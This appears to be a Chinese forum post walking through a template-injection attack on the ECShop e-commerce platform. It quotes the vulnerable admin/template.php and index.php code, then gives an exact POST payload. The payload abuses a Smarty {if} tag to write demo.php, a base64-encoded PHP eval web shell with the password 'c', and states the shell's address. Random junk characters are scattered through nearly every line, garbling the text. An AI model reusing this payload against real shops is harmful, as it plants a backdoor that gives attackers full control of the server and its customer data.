首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板4 j5 h/ A+ O) x% r
Q" B9 J$ u* G" _+ N
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了4 j! A1 _' J' `! Z9 w+ ^$ B
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码, I6 S# B! F* l$ j9 h
admin/template.php
* d" w+ F! l& L. ?
9 N$ E4 [/ n9 S, k5 D! b3 v3 C! g1 if ($_REQUEST['act'] == 'update_library') * a- J6 ?: M+ o+ ?
$ j8 ?% W3 b: q# A) y8 Y! B2 $ v7 h2 e4 S- W4 U$ f
6 e$ S1 K3 y# ^% N/ Z
3 { 1 e; |* K# ?# f' \
" G+ ]: L- t Y7 p3 B2 G6 \
4 check_authz_json('library_manage'); 2 a. v* X; [1 x- T2 f
7 Z" G* P/ }1 R9 o
5
: y e3 V& W# K. B1 {3 `
7 ]7 _2 d, c% F- s6 $html = stripslashes(json_str_iconv($_POST['html']));
0 r6 ] P$ o+ a% {( E& g2 i; d B. p' s0 n E, @, s* g
7 ; N; F( K3 n2 k |+ q
. t7 O- q7 R: |& `8 `7 _3 H0 x1 S6 z
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 K5 b) o7 W0 C% ?7 ]
# ~- x- Y3 }" n; M- ^9
1 f" @7 X8 {" ~
4 |* `" N. e! A/ K% c10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ E R9 G8 D& t7 V
4 S7 ?8 p L& M5 N+ @0 u X11
4 w$ D) @2 W' D2 _1 F0 r0 I) f# d m8 E) q0 h
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L. k0 ^3 o7 d1 m% y- ^2 ^* z- b; H! W) H' H* T0 _% _' Z
13 / q; X1 @+ O' N. j; {/ m
% j. x6 O/ O5 k
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 , z4 b& \* T6 n9 C! g- \. L
5 G, x: Y6 V( J. Y8 C
15 {
8 }" L3 @7 S) p
3 {. ]7 b$ U |$ C7 a* `1 }5 `16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( @! n1 M7 y; H9 a
5 y/ q4 ^! }3 S* u, o3 Z3 D17 make_json_result('', $_LANG['update_lib_success']); * [$ F$ n# m4 n1 S, r0 b
, {7 f4 _9 L& `- P% o3 Y
18 } 2 o9 R5 P% N' p: W7 [
! b; W' B* F, D j. m19 else 2 b8 h3 h) ~& ]% Y |! U/ R
! N' Z, D( w+ m" y, V# ^, m
20 { $ ^; h/ @" b0 W# q8 G
+ C, Z' G8 s! x21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ( [6 r. ~0 X9 N0 D! L
. j. L" c5 G- _$ J22 } 5 P% O! U* h8 T4 q
( @& t$ T2 M5 B/ `& K2 C4 f) a
23 }
, K! {8 r( \2 |6 F$ n0 O- v1 q! q
. Y6 E q0 _) I# \( H' L5 t Y那么找个比较方便调用了模板的文件) N; G: z! E" J
index.php
5 C1 J! b* C3 y0 O" N/ F
) p; k( Y3 e1 g9 _2 s3 M5 E1 if ($act == 'cat_rec')
9 s: B5 K- _8 S/ d: h- e3 ?, |* b6 l; y- q
2 7 P P6 @, ?6 O3 T1 `/ ^
( z7 O) o: \$ U, ?5 g
3 {
. h2 x1 s& g4 ^6 T) a4 h& E9 z, |; j/ w( @
4 $ Q9 T6 k2 O/ F% Z [# W4 C
6 ]& I6 V) @$ O5 N4 w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
}( ~% T+ H& X5 F7 X) B! H5 n; ^! j' i, f- l2 q- S
6 * ?% x6 |0 \; u# M% {8 n
( L' x" y8 _! X# o
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' J2 m% j' t* Q" z* z
' q3 |* f& p! B9 I8 ! w& k. ?- n- D6 ~- S
7 y2 w& f! M( T3 F
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
: P$ G6 z8 Q% Z( {' ?: y2 q/ }: C: S/ e5 x
10 2 x! F# l* i8 h' R# s2 S. P
) f6 J$ \/ @, H% s1 w" H
11 include_once('includes/cls_json.php'); : i" S& y0 F4 y( R! L
! t' P9 e2 q0 w8 L, P5 U
12
7 _2 i6 F+ Z6 z2 A: U/ d8 |8 E& |( J( h
13 $json = new JSON; - Y* k7 F" b, J9 u- l
9 {! K% z- a$ X2 C) E2 b8 ~: J! p14 5 f. h' E$ J/ _% k- `# R
- P) E0 z, l' c
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
3 l3 o# a5 B) j1 u5 [" x: p ~5 K8 n5 g/ B; [
16
) ]& K9 G& O! @. z! _. f
* r! X8 B, ?2 e- Y3 U17 $children = get_children($cat_id); 4 e, I( g" a# G% I1 H. l
6 i2 Q7 V# D+ i$ e18
/ e" k" I9 Q3 F* N% w5 d+ I& W1 S9 s8 ~
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ' D" j( A1 ]) M7 Q1 o1 U' x$ f* y
9 q! Z9 ^+ Z* a( p1 ]& {; i8 X20
6 l$ N$ V) k; N. k! F, y. s+ l- P& ?7 r* P9 g V/ I3 S
21 $smarty->assign('cat_rec_sign', 1);
% l& k7 r+ J' n; }/ Q9 a7 P3 V- P& M& i4 ~7 D$ ]+ ^0 Y
22
* Q( L1 w( }8 i+ j8 k* t4 \9 v0 Q1 ]
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 6 V( r: j3 }2 t0 w
/ e7 V! B# [5 g6 [24 , W3 r- d$ Y. N4 B
+ w: C- U7 u) E7 D4 Z/ s
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% h& x5 O2 {' e1 f& a
/ c$ Y9 F e. G26 / {# U& v' _1 N( ~2 Q
+ p% L. A* _/ G+ I% Z; y27 echo $rec_array[$rec_type]; * p+ R3 H2 ]2 W" R' D# _( @# _1 e
8 {. d% O0 D( c7 Z1 X28
4 |9 l7 p o3 T+ D8 `+ g2 i; x1 P9 U4 Y4 i" W! t/ E2 E
29 die($json->encode($result));
# O$ V/ e% }" r0 @& ?* i% Q3 p$ ]- J. Q8 j$ i( a* Q7 n s6 r
30 8 K) ~' x( K7 z; {- R
; H* @7 R- Y" `
31 }
; d: t- g* A) R1 j5 Q1 F" \/ ]! M+ ~" T8 G- ?
那么就有利用方法了
`6 z$ X" S4 Apost包到http://localhost/ec/admin/template.php?act=update_library
0 q4 m& x3 B, z# f+ zPost内容:
7 S2 K1 O. d+ g+ w) \4 X4 W" x( M. m5 F a1 x
1 W( n, t! y" [" [
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. b7 c+ i5 c- U
2 g2 _ V! P* {9 t- l然后访问http://localhost/ec/index.php?act=cat_rec
% W4 f H7 o/ y) r; P/ y
4 d: \6 i+ X/ cshel地址:http://localhost/ec/demo.php3 L5 L; }( N8 P2 A
密码c
+ {- @; u# t3 y9 \7 F0 c
3 j& V% G; @7 E; I( H# J" v$ l |